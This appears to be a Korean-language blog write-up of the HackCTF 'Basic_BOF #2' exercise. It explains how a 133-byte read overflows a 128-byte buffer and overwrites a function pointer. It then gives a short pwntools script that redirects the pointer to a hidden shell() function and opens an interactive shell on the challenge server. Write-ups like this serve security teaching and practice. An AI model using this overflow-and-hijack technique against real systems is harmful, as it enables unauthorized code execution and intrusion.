study/CTF
[HackCTF] Basic_BOF #2
파펭
2020. 9. 25. 19:27

ctf.j0n9hyun.xyz/challenges#Basic_BOF%20#2
HackCTF
Do you wanna be a God? If so, Challenge!
ctf.j0n9hyun.xyz
1. IDA로 파일을 열어서 디컴파일하기

- 포인터 v5은 sup() 함수를 가리키고 있음

- sup() 함수에서 s의 주소값을 리턴
=> v5은 변수 s를 가리킴

- main() 함수의 7번째 줄을 확인하면 s 변수에 입력값 133Byte를 넣어주는 코드이다. 하지만 v5와 s 변수의 주소공간의 차이는 128Byte로 133byte를 입력하면 변수 s 주소공간을 넘쳐서 v5에 쓰인다.
2. 사용되지 않은 함수 발견

- 사용되지 않은 shell() 함수를 발견 하였고, 실행시 쉘 코드를 실행시키는 system() 함수가 쓰였다는걸 알았다.
3. exploit 코드 작성하기
- 변수 s에는 일반 문자열이 저장되도록 하고, s의 저장공간 128 byte 이후에는 shell() 함수의 주소값이 입력되도록 하여 포인터 v5가 shell()함수를 가리키도록 한다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3001)
attack = 0x0804849B
print attack
payload = 'A' * 128
payload += p32(attack)
p.sendline(payload)
p.interactive()
- python exploit code 실행
